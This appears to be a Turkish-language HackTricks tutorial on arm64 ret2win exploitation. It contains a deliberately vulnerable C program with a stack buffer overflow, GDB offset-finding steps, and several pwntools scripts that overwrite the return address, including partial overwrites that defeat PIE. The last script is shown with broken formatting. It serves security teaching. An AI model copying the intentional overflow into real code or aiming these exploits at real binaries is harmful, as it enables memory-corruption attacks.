Ret2win - arm64

Ret2win - arm64

AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları:

Arm64 hakkında bir giriş bulun:

pageIntroduction to ARM64v8

Code

#include <stdio.h>
#include <unistd.h>

void win() {
printf("Congratulations!\n");
}

void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}

int main() {
vulnerable_function();
return 0;
}

Derleme sırasında pie ve canary olmadan derleyin:

clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie

Ofseti Bulma

Desen seçeneği

Bu örnek GEF kullanılarak oluşturulmuştur:

GEF ile gdb'yi başlatın, desen oluşturun ve kullanın:

gdb -q ./ret2win
pattern create 200
run

arm64, bozulmuş olan x30 kayıt adresine dönmeye çalışacak, bu durumu kullanarak deseni ofsetini bulabiliriz:

pattern search $x30

Ofset 72'dir (9x48).

Stack ofset seçeneği

İlk olarak, pc kaydedicisinin bulunduğu yığıt adresini alarak başlayın:

gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame

Şimdi read() işleminden sonra bir kesme noktası ayarlayın ve read() işlemi gerçekleşene kadar devam edin ve 13371337 gibi bir desen belirleyin:

b *vulnerable_function+28
c

Bu desenin bellekte nerede saklandığını bulun:

Sonra: 0xfffffffff148 - 0xfffffffff100 = 0x48 = 72

No PIE

Regular

win fonksiyonunun adresini alın:

objdump -d ret2win | grep win
ret2win:     file format elf64-littleaarch64
00000000004006c4 <win>:

Sömürü:

from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)

# Prepare the payload
offset = 72
ret2win_addr = p64(0x00000000004006c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

Off-by-1

Aslında bu, depolanan PC'de bir off-by-2 gibi olacak. Tüm dönüş adresini üzerine yazmak yerine, sadece son 2 baytı 0x06c4 ile üzerine yazacağız.

from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)

# Prepare the payload
offset = 72
ret2win_addr = p16(0x06c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

ARM64'de başka bir off-by-one örneği https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/ adresinde bulunabilir, bu gerçek bir off-by-one durumudur ve kurgusal bir zafiyet içerir.

PIE ile

Binary -no-pie argümanı olmadan derlenmelidir

Off-by-2

Bir sızıntı olmadan kazanan fonksiyonun tam adresini bilmesek de, fonksiyonun binary içindeki ofsetini ve üzerine yazdığımız dönüş adresinin zaten yakın bir adrese işaret ettiğini bilerek, bu durumda kazan fonksiyonuna (0x7d4) olan ofseti sızdırmak ve sadece o ofseti kullanmak mümkündür:

```python from pwn import *

Configuration

binary_name = './ret2win' p = process(binary_name)

Prepare the payload

offset = 72 ret2win_addr = p16(0x07d4) payload = b'A' * offset + ret2win_addr

Send the payload

p.send(payload)

Check response

print(p.recvline()) p.close()

<details>

<summary><strong>Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

HackTricks'ı desteklemenin diğer yolları:

* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**]'yi (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i (https://opensea.io/collection/the-peass-family) içeren koleksiyonumuzu
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking hilelerinizi paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.

</details>

Last updated